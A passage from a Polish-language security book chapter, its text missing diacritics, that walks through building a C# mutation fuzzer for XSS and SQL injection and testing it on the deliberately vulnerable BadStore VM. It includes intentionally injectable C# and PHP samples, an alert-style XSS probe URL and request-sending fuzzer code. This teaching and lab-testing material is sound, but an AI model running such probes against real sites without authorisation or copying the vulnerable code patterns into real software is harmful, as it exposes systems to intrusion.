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2
Fuzzing. Wykorzystanie

XSS oraz iniekcji SQL

W PRZECIWIE STWIE DO INNYCH J ZYKÓW, TAKICH JAK RUBY, PYTHON
CZY PERL, PROGRAMY NAPISANE W C# MOG  BY  DOMY LNIE
URUCHAMIANE NA WSZYSTKICH NOWOCZESNYCH MASZYNACH
z systemem Windows. Co wi cej, uruchomienie programów napisanych

w C# w systemach Linux, takich jak Ubuntu, Fedora lub inne, nie
mo e by  atwiejsze, zw aszcza e wi kszo  mened erów pakietów

w systemach Linux, takich jak apt lub Dim, jest w stanie bez trudu zainstalowa
framework Mono. Stawia to j zyk C# w lepszej pozycji w porównaniu z wi kszo-
ci  innych j zyków pod wzgl dem potrzeb obs ugi wielu platform. Dodatkow

korzy  stanowi atwy dost p do obszernej biblioteki standardowej. Podsumowu-
j c, C# oraz biblioteki Mono/.NET to kusz cy framework dla wszystkich, którzy
chc  szybko i atwo pisa  wieloplatformowe narz dzia.

W tym rozdziale napiszemy fuzzer mutacyjny, który mo na wykorzysta  w przy-
padku, gdy znamy dobre dane wej ciowe w postaci adresu URL lub dania HTTP
(fuzzer generacyjny napiszemy w rozdziale 3.). Gdy nauczymy si  pos ugiwa  fuzze-
rem do wyszukiwania s abych punktów XSS i iniekcji SQL, dowiemy si , jak
wykorzysta  iniekcj  SQL do odczytania z bazy danych skrótów nazw u ytkow-
ników i hase .
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Aby znale  i wykorzysta  s abe punkty dla iniekcji SQL i XSS, skorzystamy
z podstawowych bibliotek obs ugi HTTP w celu programowego tworzenia da
HTTP w j zyku C#.

Najpierw napiszemy prosty fuzzer, który parsuje adres URL i zaczyna fuzzing
parametrów HTTP przy u yciu da  GET i POST. Nast pnie opracujemy pe ne
eksploity dla s abych punktów iniekcji SQL. U yjemy w nich starannie spreparo-
wanych da  HTTP w celu wyodr bnienia z bazy danych informacji o u ytkowniku.

Narz dzia opracowane w tym rozdziale przetestujemy na niewielkiej dystry-
bucji Linuksa o nazwie BadStore (dost pnej w witrynie VulnHub, pod adresem
https://www.vulnhub.com/). BadStore zosta  specjalnie zaprojektowany tak, aby
zawiera  luki w zabezpieczeniach. Jest wra liwy (mi dzy innymi) na iniekcje
SQL i ataki XSS. Po pobraniu obrazu ISO systemu BadStore z witryny VulnHub
u yjemy darmowego oprogramowania wirtualizacji VirtualBox do stworzenia ma-
szyny wirtualnej, na której przeprowadzimy rozruch systemu BadStore z obrazu
ISO. W ten sposób b dziemy mogli przeprowadzi  atak bez stwarzania niebezpie-
cze stwa dla w asnego systemu hosta.

Konfigurowanie maszyny wirtualnej
Aby zainstalowa  VirtualBox w systemach Linux, Windows lub OS X, nale y pobra
oprogramowanie VirtualBox pod adresem https://www.virtualbox.org/ (instalacja
nie powinna sprawi  k opotów; wystarczy post powa  zgodnie z najnowszymi
wskazówkami w witrynie). Maszyny wirtualne (VM) pozwalaj  na emulacj  sys-
temów komputerowych z u yciem fizycznego komputera. Mo na je wykorzysta  do
atwego tworzenia wra liwych systemów oprogramowania (takich jak te, których

b dziemy u ywa  w niniejszej ksi ce) i zarz dzania nimi.

Dodawanie sieci wirtualnej „tylko do hosta”
Przed w a ciwym skonfigurowaniem maszyny wirtualnej mo e by  konieczne utwo-
rzenie sieci wirtualnej w trybie „tylko do hosta”. Sie  „tylko do hosta” umo liwia
komunikacj  wy cznie pomi dzy maszyn  wirtualn  a systemem hosta. Aby skon-
figurowa  tak  sie , wykonaj nast puj ce czynno ci:

 1. Kliknij File/Preferences. Otworzy si  okno VirtualBox — Preferences.
W systemie OS X wybierz VirtualBox/Preferences.

 2. Kliknij obszar Network po lewej stronie. Powiniene  zobaczy  dwie
zak adki: NAT Networks i Host-only Networks. W systemie OS X
kliknij zak adk  Network w górnej cz ci okna dialogowego Settings.

 3. Kliknij zak adk  Host-only Networks, a nast pnie przycisk Add host-only
network (Ins) po prawej stronie. Ten przycisk ma posta  ikony karty
sieciowej ze znakiem plus. W wyniku klikni cia przycisku powinna
stworzy  si  sie  o nazwie vboxnet0.
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 4. Kliknij przycisk Edit host-only network (Space) po prawej stronie.
Ten przycisk ma ikon  rubokr ta.

 5. W oknie dialogowym, które si  otworzy, kliknij zak adk  DHCP Server.
Zaznacz pole Enable Server. W polu Server Address wpisz adres
IP 192.168.56.2. W polu Server Mask wpisz 255.255.255.0. W polu
Lower Address Bound wpisz 192.168.56.100. W polu Upper Address
Bound wpisz 192.168.56.199.

 6. Kliknij przycisk OK, aby zapisa  zmiany w sieci „tylko do hosta”.

 7. Kliknij przycisk OK ponownie, aby zamkn  okno dialogowe Settings.

Tworzenie maszyny wirtualnej
Po zainstalowaniu programu VirtualBox i skonfigurowaniu sieci „tylko do hosta”
nale y skonfigurowa  maszyn  wirtualn :

 1. Kliknij ikon  New w lewym górnym rogu, tak jak pokazano na rysunku 2.1.

 2. W oknie dialogowym do wyboru nazwy i typu systemu operacyjnego
wybierz z rozwijanego menu opcj  Other Linux (32-bit).

 3. Kliknij Continue. Powinien wy wietli  si  ekran umo liwiaj cy
skonfigurowanie na maszynie wirtualnej pami ci RAM. Ustaw ilo
pami ci RAM na 512 MB, a nast pnie kliknij Continue (fuzzing
i korzystanie z eksploitów na serwerze WWW mog  si  wi za
z u yciem przez maszyn  wirtualn  du ej ilo ci pami ci RAM).

 4. Po wy wietleniu pytania o utworzenie nowego wirtualnego dysku
twardego kliknij Do not add a virtual hard drive, a nast pnie kliknij
Create (system BadStore uruchomimy z obrazu ISO). W lewym panelu
okna VirtualBox Manager powiniene  zobaczy  utworzon  maszyn
wirtualn , tak jak pokazano na rysunku 2.1.

Uruchamianie maszyny wirtualnej z obrazu ISO
z systemem BadStore
Po utworzeniu maszyny wirtualnej nale y ustawi  j  do rozruchu z obrazu ISO
BadStore. Aby to zrobi , wykonaj nast puj ce czynno ci:

 1. Kliknij prawym przyciskiem myszy maszyn  wirtualn  w lewym panelu
okna VirtualBox Manager, a nast pnie kliknij przycisk Settings. Wy wietli
si  okno dialogowe z bie cymi ustawieniami dla karty sieciowej, nap du
CD-ROM i innych ró nych elementów konfiguracji.

 2. W oknie Settings wybierz zak adk  Network. W górnej cz ci okna powiniene
zobaczy  siedem ustawie  dla karty sieciowej, w tym NAT (translacja adresów
sieci), sie  „tylko do hosta” i konfiguracj  dla mostu. Wybierz sie
„tylko do hosta”, aby przydzieli  karcie sieciowej adres IP, który b dzie
dost pny tylko z komputera-hosta i nie b dzie dost pny z internetu.
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Rysunek 2.1. VirtualBox z maszyn  wirtualn  dla systemu BadStore

 3. Nale y ustawi  typ karty sieciowej na rozwijanej li cie Advanced na
starszy chipset, poniewa  system BadStore bazuje na starszym j drze
systemu Linux i niektóre nowsze chipsety nie s  obs ugiwane. Wybierz
opcj  PCnet-FAST III.

Teraz skonfigurujemy nap d CD-ROM w celu rozruchu z obrazu ISO na dysku
twardym. W tym celu wykonaj nast puj ce czynno ci:

 1. W oknie dialogowym Settings wybierz zak adk  Storage. Kliknij ikon
dysku CD. Wy wietli si  menu z opcj  Choose a virtual CD/DVD disk file.

 2. Kliknij opcj  Choose a virtual CD/DVD disk file. Znajd  obraz ISO
systemu BadStore zapisany w systemie plików i ustaw go jako medium
rozruchowe. Maszyna wirtualna powinna by  teraz gotowa do uruchomienia.

 3. Zapisz ustawienia, klikaj c przycisk OK w prawym dolnym rogu zak adki
Settings. Nast pnie, aby przeprowadzi  rozruch maszyny wirtualnej,
kliknij przycisk Start w lewym górnym rogu okna VirtualBox Manager
obok przycisku z ikon  ko a z batego Settings.

 4. Po uruchomieniu maszyny wirtualnej powinien zosta  wy wietlony
komunikat: Please press Enter to activate this console. Naci nij
Enter i wpisz ifconfig, aby wy wietli  konfiguracj  IP karty sieciowej,
któr  uzyska a maszyna wirtualna.
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 5. Po uzyskaniu adresu IP maszyny wirtualnej wprowad  go w przegl darce
WWW. Powiniene  zobaczy  ekran podobny do przedstawionego
na rysunku 2.2.

Rysunek 2.2. G ówna strona aplikacji webowej BadStore

Iniekcje SQL
We wspó czesnych bogatych aplikacjach webowych w celu zapewnienia wysokiej
jako ci oraz wygody i komfortu pracy u ytkownika programi ci musz  by  w stanie
przechowywa  informacje w tle i o nie odpytywa . Zazwyczaj efekt ten uzyskuje
si  za pomoc  bazy danych SQL (ang. Structured Query Language), takiej jak
MySQL, PostgreSQL lub Microsoft SQL Server.

SQL umo liwia programowe interakcje z baz  danych przy u yciu instrukcji
SQL — kodu, który informuje baz  danych o sposobie tworzenia, odczytywania,
aktualizacji lub usuwania danych na podstawie dostarczonych informacji lub kryte-
riów. Na przyk ad instrukcja SELECT daj ca od bazy danych podania liczby
u ytkowników w hostowanej bazie danych mo e wygl da  tak, jak pokazano na
listingu 2.1.

Listing 2.1. Przyk adowa instrukcja SQL SELECT

SELECT COUNT(*) FROM USERS
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Czasami programi ci d  do tego, by instrukcje SQL by y dynamiczne
(tzn. by si  zmienia y zgodnie z interakcjami u ytkownika z aplikacj  webow ). Na
przyk ad programista mo e chcie  pobra  z bazy danych informacje na podstawie
okre lonego identyfikatora lub nazwy u ytkownika.

Jednak gdy programista tworzy instrukcj  SQL przy u yciu danych lub warto-
ci dostarczonych przez u ytkownika za po rednictwem niezaufanych klientów,

takich jak przegl darki WWW, to je li warto ci u ywane do tworzenia i wykony-
wania instrukcji SQL nie zostan  prawid owo oczyszczone, wtedy aplikacja jest
zagro ona iniekcj  SQL. Na przyk ad metoda C# SOAP pokazana na listingu 2.2
mo e zosta  u yta do wprowadzenia u ytkownika do bazy danych hostowanej
na serwerze WWW. (SOAP — ang. Simple Object Access Protocol — to technolo-
gia webowa bazuj ca na XML, wykorzystywana do szybkiego tworzenia interfejsów
API aplikacji webowych. SOAP jest popularny w stosowanych w bran y j zykach,
takich jak C# i Java).

Listing 2.2. Metoda C# SOAP zagro ona iniekcj  SQL

[WebMethod]
public string AddUser(string username, string password)
{
    NpgsqlConnection conn = new NpgsqlConnection(_connstr); conn.Open();

    string sql = "insert into users values('{0}', '{1}');";
    sql = String.Format(sql, username, password); NpgsqlCommand
    command = new NpgsqlCommand(sql, conn);
    command.ExecuteNonQuery();

    conn.Close();
    return "Doskonale!";
}

W tym przypadku programista nie oczy ci  warto ci nazwy u ytkownika i has a
przed utworzeniem  i uruchomieniem  ci gu instrukcji SQL. W rezultacie
napastnik mo e zmodyfikowa  ci g nazwy u ytkownika lub has a w taki sposób,
aby baza danych uruchomi a spreparowany kod SQL. Dzi ki temu napastnik
mo e uzyska  mo liwo  zdalnego uruchomienia polecenia i pe n  kontrol  nad
baz  danych.

Gdyby wraz z jednym z parametrów zosta  umieszczony apostrof (np. user'name
zamiast username), metoda ExecuteNonQuery() próbowa aby uruchomi  nieprawi-
d ow  kwerend  SQL (pokazan  na listingu 2.3). W takim przypadku metoda zg o-
si aby wyj tek, który zosta by wy wietlony w odpowiedzi HTTP, któr  zobaczy by
napastnik.

Listing 2.3. Ta kwerenda SQL jest nieprawid owa z powodu niesprawdzonych danych
dostarczonych przez u ytkownika

insert into users values('user'name', 'password');
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Wiele bibliotek oprogramowania, które umo liwiaj  dost p do bazy danych,
pozwala programistom bezpiecznie u ywa  warto ci dostarczonych przez nieza-
ufane klienty, takie jak przegl darki WWW, dzi ki kwerendom parametrycznym.
Biblioteki te automatycznie oczyszczaj  wszelkie przekazywane do kwerendy
SQL niezaufane warto ci dzi ki „unieszkodliwianiu” takich znaków, jak apostrofy,
nawiasy oraz inne znaki specjalne u ywane w sk adni j zyka SQL. Problemom
zwi zanym z iniekcj  SQL pomagaj  zapobiega  kwerendy parametryczne oraz
inne rodzaje bibliotek realizuj cych mapowanie obiektowo-relacyjne (ORM) —
na przyk ad NHibernate.

Warto ci dostarczane przez u ytkownika, takie jak pokazane powy ej, zwykle
s  u ywane w klauzulach WHERE wewn trz kwerend SQL, tak jak na listingu 2.4.

Listing 2.4. Przyk adowa instrukcja SQL SELECT wybieraj ca wiersz dla okre lonego user_id

SELECT * FROM users WHERE user_id = '1'

Jak pokazano na listingu 2.3, pozostawienie pojedynczego apostrofu wewn trz
parametru HTTP, który nie zostanie prawid owo oczyszczony przed wykorzysta-
niem do stworzenia dynamicznej kwerendy SQL, mo e spowodowa  zg oszenie
przez aplikacj  webow  b du (na przyk ad kodu HTTP 500), poniewa  apostrof
w instrukcji SQL oznacza pocz tek lub koniec ci gu. Pojedynczy apostrof spra-
wia, e instrukcja staje si  nieprawid owa ze wzgl du na przedwczesne zako czenie
ci gu znaków lub rozpocz cie ci gu bez jego wcze niejszego zako czenia. Dzi ki
sparsowaniu odpowiedzi HTTP na takie dania mo na przeprowadzi  fuzzing
takich aplikacji webowych i znale  parametry HTTP dostarczane przez u yt-
kownika, które doprowadzi y do b dów SQL w odpowiedzi.

Skrypty krzy owe
Podobnie jak iniekcje SQL, ataki za pomoc  skryptów krzy owych (XSS) wyko-
rzystuj  luki w kodzie pojawiaj ce si , gdy programi ci buduj  HTML, który ma
by  renderowany w przegl darce WWW za pomoc  danych przekazanych do
serwera z przegl darki WWW. Czasami dane dostarczone na serwer z niezaufa-
nych klientów, takich jak przegl darki WWW, mog  zawiera  kod HTML wraz
z kodem JavaScript. Taki kod pozwala napastnikowi przej  kontrol  nad witryn
WWW przez kradzie  pliku cookie lub przekierowanie u ytkowników do z o liwej
witryny za po rednictwem surowego, nieprzefiltrowanego kodu HTML.

Na przyk ad blog, który pozwala na wprowadzanie komentarzy, mo e wysy a
do serwera witryny dania HTTP za po rednictwem formularza do wprowadzania
komentarzy. Je li napastnik utworzy by komentarz z osadzonym kodem HTML
lub JavaScript, a oprogramowanie bloga zaufa oby mu i nie przeprowadzi o walidacji
danych z przegl darki WWW i przes a o „komentarz”, wtedy napastnik móg by wy-
korzysta  za adowany komentarz do zast pienia witryny WWW w asnym kodem
HTML lub przekierowa  u ytkownika bloga do witryny WWW kontrolowanej

Poleć książkęKup książkę

http://helion.pl/page354U~rf/greyha
http://helion.pl/page354U~rt/greyha


44 R o z d z i a  2

przez napastnika. Napastnik móg by nast pnie zainstalowa  potencjalnie z o-
liwe oprogramowanie na maszynie u ytkownika bloga.

Ogólnie rzecz bior c, szybkim sposobem na wykrycie na stronie internetowej
kodu, który móg by by  nara ony na ataki XSS, jest przekazanie do witryny dania
ze spreparowanym parametrem. Je li ska one dane pojawi  si  w odpowiedzi
bez zmian, mo e to oznacza  wektor dla ataków XSS. Dla przyk adu za ó my, e
w parametrze dania HTTP przekazujemy <xss>, tak jak na listingu 2.5.

Listing 2.5. Przyk adowe danie GET do skryptu PHP z parametrem ci gu kwerendy

GET /index.php?name=Brandon<xss> HTTP/1.1 Host: 10.37.129.5
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:37.0)
Gecko/20100101 Firefox/37.0 Accept: text/html,application/
xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate
Connection: keep-alive

Serwer odpowiada w sposób podobny do pokazanego na listingu 2.6.

Listing 2.6. Przyk adowa odpowied  ze skryptu PHP zawieraj ca oczyszczony parametr
ci gu kwerendy name

HTTP/1.1 200 OK
Date: Sun, 19 Apr 2015 21:28:02 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.7 Content-Length: 32
Keep-Alive: timeout=5, max=100 Connection: Keep-Alive
Content-Type: text/html

Welcome Brandon&lt;xss&gt;<br />

Ogólnie rzecz bior c, je li kod <xss> zostanie zast piony wersj  zawieraj c
encje HTML, b dzie to oznacza o, e witryna filtruje dane wej ciowe za pomoc
funkcji PHP, takiej jak htmlspecialchars(), lub podobnej metody. Je li jednak
na stronie w odpowiedzi po prostu wy wietli si  <xss>, to znaczy, e witryna nie
wykonuje adnego filtrowania ani oczyszczania, tak jak w przypadku parametru
HTTP name w kodzie pokazanym na listingu 2.7.

Listing 2.7. Kod PHP wra liwy na atak XSS

<?php
    $name = $_GET['name'];
    echo  "Witaj $name<br>";
?>

Podobnie jak w przypadku kodu wra liwego na iniekcje SQL z listingu 2.1,
programista nie oczyszcza ani nie zast puje potencjalnie niebezpiecznych znaków
przed wyrenderowaniem kodu HTML na ekranie . Przez przekazanie do aplikacji
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webowej specjalnie spreparowanego parametru name mo na wyrenderowa  kod
HTML na ekranie, uruchomi  kod JavaScript, a nawet uruchomi  aplety Javy, któ-
re spróbuj  przej  kontrol  nad komputerem. Na przyk ad mo na wys a  spe-
cjalnie spreparowany adres URL, taki jak pokazano na listingu 2.8.

Listing 2.8. Adres URL z parametrem ci gu kwerendy, który spowodowa by wy wietlenie
okna ostrze enia JavaScript, gdyby parametr by  wra liwy na atak XSS

www.example.com/vuln.php?name=Brandon<script>alert(1)</script>

Gdyby skrypt PHP wykorzystywa  parametr name do stworzenia kodu HTML,
a ten ostatecznie zosta by wyrenderowany w przegl darce WWW, to adres URL
z listingu 2.8 móg by spowodowa  wy wietlenie w przegl darce okna pop-up
JavaScript z liczb  1.

Fuzzing da  GET
z wykorzystaniem fuzzera mutacyjnego

Teraz, gdy znasz ju  podstawy luk iniekcji SQL i XSS, spróbujemy zaimplemento-
wa  prosty fuzzer, który znajduje potencjalne wra liwo ci na iniekcje SQL lub
ataki XSS w parametrach ci gu kwerendy. Parametry ci gu kwerendy to argumenty
w adresie URL wyst puj ce za znakiem ? w formacie klucz=warto . W tym pod-
rozdziale skupimy si  na parametrach HTTP w daniach GET, ale najpierw sparsu-
jemy adres URL tak, by móc przegl da  w p tli wszystkie parametry ci gu zapyta-
nia HTTP, jak pokazano na listingu 2.9.

Listing 2.9. Prosta metoda Main() parsuj ca parametry ci gu kwerendy
w podanym adresie URL

public static void Main(string[] args)
{
    string url = args[0];
    int index = url. IndexOf("?");
    string[] parms = url. Remove(0, index+1). Split('&');
    foreach (string parm in parms)
        Console.WriteLine(parm);
}

W kodzie z listingu 2.9 pobieramy pierwszy argument (args[0]) przekazany
do g ównej aplikacji fuzzera i zak adamy, e jest to adres URL  z niektórymi
fuzzowalnymi parametrami HTTP w ci gu kwerendy. Aby przekszta ci  parametry
na posta , która nadaje si  do iterowania, usuwamy z adresu URL wszystkie
znaki a  do wyst pienia znaku zapytania (?) w cznie i korzystamy z wywo ania
IndexOf("?")  do ustalenia indeksu pierwszego wyst pienia znaku zapytania.
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Jest to indeks, na którym adres URL si  zako czy . Dalej s  parametry ci gu
kwerendy. To s  parametry, które mo emy sparsowa .

Wywo anie Remove(0, indeks + 1)  zwraca ci g, który zawiera wy cznie
parametry adresu URL. Ten ci g jest nast pnie dzielony za pomoc  znaku '&' ,
oznaczaj cego pocz tek nowego parametru. Na koniec u ywamy s owa kluczowego
foreach w celu przetwarzania w p tli wszystkich ci gów w tablicy parms i wy wie-
tlenia wszystkich parametrów oraz ich warto ci. W a nie wyizolowali my z adresu
URL parametry ci gu kwerendy i ich warto ci. Mo emy teraz zacz  modyfikowa
warto ci podczas wykonywania da  HTTP, aby wywo ywa  b dy z aplikacji
webowej.

Preparowanie parametrów i testowanie luk
Nast pnym krokiem po wydzieleniu wszystkich parametrów adresu URL, które
mog  by  wra liwe, jest ska enie ka dego z nich fragmentem danych, które serwer
poprawnie oczy ci, je li nie jest wra liwy na iniekcje SQL lub XSS. W przypadku
XSS do ska onych danych dodamy <xss>, natomiast do danych przeznaczonych
do testowania pod k tem iniekcji SQL wprowadzimy pojedynczy apostrof.

Mo emy stworzy  dwa nowe adresy URL do testowania celu przez zast pienie
znanych dobrych warto ci parametrów w adresach URL danymi ska onymi dla
iniekcji SQL i XSS, tak jak pokazano na listingu 2.10.

Listing 2.10. Zmodyfikowana p tla foreach zast puj ca parametry ska onymi danymi

foreach (string parm in parms)
{
    string xssUrl = url.Replace(parm, parm + "fd<xss>sa");
    string sqlUrl = url.Replace(parm, parm + "fd'sa");

    Console.WriteLine(xssUrl);
    Console.WriteLine(sqlUrl);
}

W celu testowania wra liwo ci na luki trzeba zadba  o stworzenie takich adre-
sów URL, które b d  zrozumia e dla docelowej witryny. Aby to zrobi , najpierw
zast pujemy stary parametr w adresie URL parametrem ska onym, a nast pnie
wy wietlamy nowe adresy URL, których b dziemy da . Podczas wy wietlania
na ekranie ka dy parametr w adresie URL powinien mie  jeden wiersz, który za-
wiera parametr ska ony XSS , oraz jeden wiersz zawieraj cy parametr z pojedyn-
czym apostrofem , tak jak pokazano na listingu 2.11.

Listing 2.11. Wy wietlone adresy URL ze ska onymi adresami HTTP

http://192.168.1.75/cgi-bin/badstore.cgi?SearchQuery=testfd<xss>sa
idealna akcja = Szukaj http://192.168.1.75/cgi-bin/badstore.cgi?
searchquery=testfd'sa idealna akcja = Szukaj</xss>

--ciach—
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Budowanie da  HTTP
Nast pnie programowo zbudujemy dania HTTP za pomoc  klasy HttpWebRequest,
a potem stworzymy dania HTTP ze ska onymi parametrami HTTP, by zobaczy ,
czy zostan  zwrócone b dy (patrz listing 2.12).

Listing 2.12. Pe na p tla foreach testuj ca podany adres URL pod k tem wra liwo ci na
ataki XSS i iniekcje SQL

foreach (string parm in parms)
{
    string xssUrl = url.Replace(parm, parm + "fd<xss>sa");
    string sqlUrl = url.Replace(parm, parm + "fd'sa");

    HttpWebRequest request = (HttpWebRequest)WebRequest. Create(sqlUrl);
    request. Method  = "GET";

    string sqlresp = string.Empty;
    using (StreamReader rdr = new
           StreamReader(request.GetResponse().GetResponseStream()))
       sqlresp = rdr. ReadToEnd();

    request = (HttpWebRequest)WebRequest.Create(xssUrl);
    request.Method = "GET";
    string xssresp = string.Empty;

    using (StreamReader rdr = new
          StreamReader(request.GetResponse().GetResponseStream()))
      xssresp = rdr.ReadToEnd();

    if (xssresp.Contains("<xss>"))
        Console.WriteLine ("Znaleziono potencjaln  luk  XSS
        w parametrze: " + parm);

    if (sqlresp.Contains("error in your SQL syntax"))
        Console.WriteLine("Znaleziono luk  iniekcji SQL
        w parametrze: " + parm);

}

W kodzie z listingu 2.12 do przes ania dania HTTP u yli my statycznej
metody Create()  klasy WebRequest. Adres URL przekazali my jako argument
w zmiennej sqlUrl ska onej pojedynczym apostrofem i zrzutowali my wynikowy
egzemplarz klasy WebRequest zwrócony do obiektu HttpWebRequest (metody statycz-
ne s  dost pne bez tworzenia egzemplarza klasy).

Statyczna metoda Create() korzysta z wzorca „fabryka” w celu stworzenia
nowych obiektów na podstawie przekazanego adresu URL, dlatego musimy zrzu-
towa  obiekt zwrócony do obiektu HttpWebRequest. Gdyby my na przyk ad przeka-
zali URL poprzedzony ftp:// lub file://, to typ obiektu zwracanego przez metod
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Create() by by obiektem innej klasy (odpowiednio FtpWebRequest lub FileWeb
Request). Nast pnie ustawiamy w a ciwo  Method obiektu HttpWebRequest na

GET (zatem tworzymy danie GET)  i zapisujemy odpowied  na danie w ci gu
resp za pomoc  klasy StreamReader i metody ReadToEnd() . Je li odpowied
zawiera nieprzefiltrowany adunek XSS lub zg asza b d dotycz cy sk adni SQL,
to znaczy, e znale li my luk .

Zwró my uwag  na u ycie w powy szym kodzie s owa kluczowego using w nowy
sposób. Wcze niej stosowali my s owo kluczowe using w celu importowania do
fuzzera klas z przestrzeni nazw (na przyk ad System.Net). Ogólnie rzecz bior c,
egzemplarze obiektów (obiekty utworzone za pomoc  s owa kluczowego new)
mog  by  u ywane w bloku using w taki sposób, gdy klasa implementuje interfejs
IDisposable (który wymaga od klasy zaimplementowania metody Dispose()).
Gdy zakres bloku using ko czy si , metoda Dispose() obiektu jest wywo ywana
automatycznie. To bardzo przydatny sposób zarz dzania zasobami zakresu. Nieod-
powiednie zarz dzanie takimi zasobami mo e prowadzi  do wycieków zasobów,
takich jak zasoby sieciowe lub deskryptory plików.

Testowanie fuzzowanego kodu
Spróbujmy przetestowa  nasz kod za pomoc  pola wyszukiwania na stronie g ów-
nej BadStore. Po otwarciu aplikacji BadStore w przegl darce WWW kliknij przy-
cisk pozycji menu Home z lewej strony ekranu, a nast pnie skorzystaj z pola szyb-
kiego wyszukiwania w polu wyszukiwania w lewym górnym rogu. W przegl darce
powinien wy wietli  si  adres URL podobny do tego, który pokazano na li-
stingu 2.13.

Listing 2.13. Przyk adowy adres URL do strony wyszukiwania BadStore

http://192.168.1.75/cgi-bin/badstore.cgi?SearchQuery=test&Action=Search

Przeka  do programu jako argument w wierszu polecenia adres URL z listin-
gu 2.13 (zast puj c adres IP adresem IP aplikacji BadStore w Twojej sieci), tak
jak pokazano na listingu 2.14. To powinno rozpocz  fuzzowanie.

Listing 2.14. Uruchamianie fuzzera XSS i iniekcji SQL

$ ./fuzzer.exe "http://192.168.1.75/cgi-
bin/badstore.cgi?searchquery=test&action=search"
Znaleziono luk  iniekcji SQL w parametrze: searchquery=test
Znaleziono potencjaln  luk  XSS w parametrze: searchquery=test
$

Uruchomienie fuzzera powinno znale  w aplikacji BadStore wra liwo  za-
równo na iniekcj  SQL, jak i atak XSS. Wynik dzia ania fuzzera powinien by
podobny do wyj cia zamieszczonego na listingu 2.14.
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Fuzzowanie da  POST
W tym podrozdziale skorzystamy z systemu BadStore do fuzzowania parametrów

dania POST ( danie u ywane w celu przes ania danych do przetwarzania do
zasobu webowego) zapisywanych na lokalnym dysku twardym. danie POST prze-
chwycimy za pomoc  Burp Suite — atwego w u yciu serwera proxy HTTP stwo-
rzonego dla specjalistów zajmuj cych si  zabezpieczeniami. Burp Suite dzia a
pomi dzy przegl dark  a serwerem HTTP, dzi ki czemu mo na ogl da  dane prze-
sy ane tam i z powrotem.

Pobierz serwer Burp Suite spod adresu http://www.portswigger.net/ i zainstaluj
go (Burp Suite jest publikowany jako archiwum Javy, w formacie pliku JAR, któ-
ry mo na zapisa  na pendrivie albo na innym przeno nym medium). Po pobraniu
Burp Suite uruchom aplikacj  za pomoc  Javy, u ywaj c polece  z listingu 2.15.

Listing 2.15. Uruchamianie Burp Suite z wiersza polecenia

$ cd  ~/Downloads/
$ java  -jar burpsuite*.jar

Po uruchomieniu serwer proxy Burp Suite powinien nas uchiwa  na porcie
8080. Skonfiguruj przegl dark  Firefox tak, by korzysta a z serwera proxy Burp
Suite. Mo na to zrobi  w nast puj cy sposób:

 1. W przegl darce Firefox wybierz Opcje/Zaawansowane.
Powinno wy wietli  si  okno dialogowe Zaawansowane.

 2. Wybierz kart  Sie , tak jak pokazano na rysunku 2.3.

Rysunek 2.3. Karta Sie  w ustawieniach Firefoksa
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 3. Kliknij Ustawienia…, aby otworzy  okno dialogowe Ustawienia
po czenia, jak pokazano na rysunku 2.4.

Rysunek 2.4. Okno dialogowe Ustawienia po czenia

 4. Wybierz opcj  R czna konfiguracja serwerów proxy, a nast pnie wpisz
127.0.0.1 w polu Serwer proxy HTTP i 8080 w polu Port. Kliknij przycisk
OK, aby zamkn  okno dialogowe Ustawienia po czenia.

Odt d wszystkie dania przesy ane przez Firefoksa b d  przechodzi y przez
serwer Burp Suite. (Aby to sprawdzi , przejd  pod adres http://google.com/;
powiniene  zobaczy  danie w okienku dania Burp Suite, tak jak pokazano
na rysunku 2.5).

Klikni cie przycisku Forward w oknie Burp Suite powinno spowodowa  prze-
kazanie dania (w tym przypadku do serwisu Google) i zwrócenie odpowiedzi do
przegl darki Firefox.

Pisanie fuzzera dania POST
Nast pnie napiszemy i przetestujemy fuzzer dania POST przeciwko stronie What's
New aplikacji BadStore (patrz rysunek 2.6). Przejd  do tej strony w przegl darce
Firefox i kliknij polecenie menu What’s New po lewej stronie.
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Rysunek 2.5. Serwer Burp Suite aktywnie przechwytuje dania do witryny google.com
z Firefoksa

Rysunek 2.6. Strona What's New aplikacji webowej BadStore
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Przycisk u do u strony s u y do dodania zaznaczonych pozycji do koszyka.
Z w czonym serwerem Burp Suite pomi dzy przegl dark  a serwerem BadStore
wybierz kilka elementów za pomoc  pól wyboru po prawej stronie, a nast pnie
kliknij przycisk Submit, aby zainicjowa  danie HTTP w celu dodania towarów
do koszyka. W wyniku przechwytywania dania przez serwer Burp Suite powinie-
ne  stworzy  danie podobne do pokazanego na listingu 2.16.

Listing 2.16. danie HTTP POST z serwera Burp Suite

POST /cgi-bin/badstore.cgi?action=cartadd HTTP/1.1
Host: 192.168.1.75
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:20.0)
Gecko/20100101 Firefox/20.0 Accept: text/html,
application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.75/cgi-bin/badstore.cgi?action=whatsnew
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 63

cartitem=1000&cartitem=1003&Add+Items+to+Cart=Add+Items+to+Cart

danie pokazane na listingu 2.16 jest typowym daniem POST z parametrami
zakodowanymi w adresie URL (zestaw znaków specjalnych, z których niektóre to
tzw. „znaki bia e” — ang. whitespace — takie jak spacje i znaki przej cia do nowego
wiersza). Zwró my uwag , e w tym daniu u yto znaków plusa (+) zamiast spacji.
Zapisz to danie do pliku tekstowego. U yjemy go pó niej do systematycznego
fuzzowania parametrów przesy anych w daniu HTTP POST.

Parametry w daniu HTTP POST s  zawarte w ostatnim wierszu dania, który
definiuje przesy ane dane w formacie klucz-warto  (niektóre dania POST s u  do
przesy ania wielocz ciowych formularzy lub innych egzotycznych typów danych,
ale ogólna zasada pozostaje taka sama).

Zwró my uwag  w tym daniu, e do koszyka dodajemy elementy o identyfi-
katorach 1000 i 1003. Spójrzmy teraz na okno Firefox. atwo zauwa y , e liczby
te odnosz  si  do kolumny ItemNum. Przesy amy parametr razem z tymi identyfikato-
rami, co ogólnie informuje aplikacj , co nale y zrobi  z danymi, które wysy amy
(dok adniej, dodajemy te pozycje do koszyka). Jak mo na zobaczy , na iniekcj  SQL
mog  by  podatne jedynie dwa parametry cartitem, poniewa  serwer b dzie je
interpretowa .

Rozpoczyna si  fuzzing
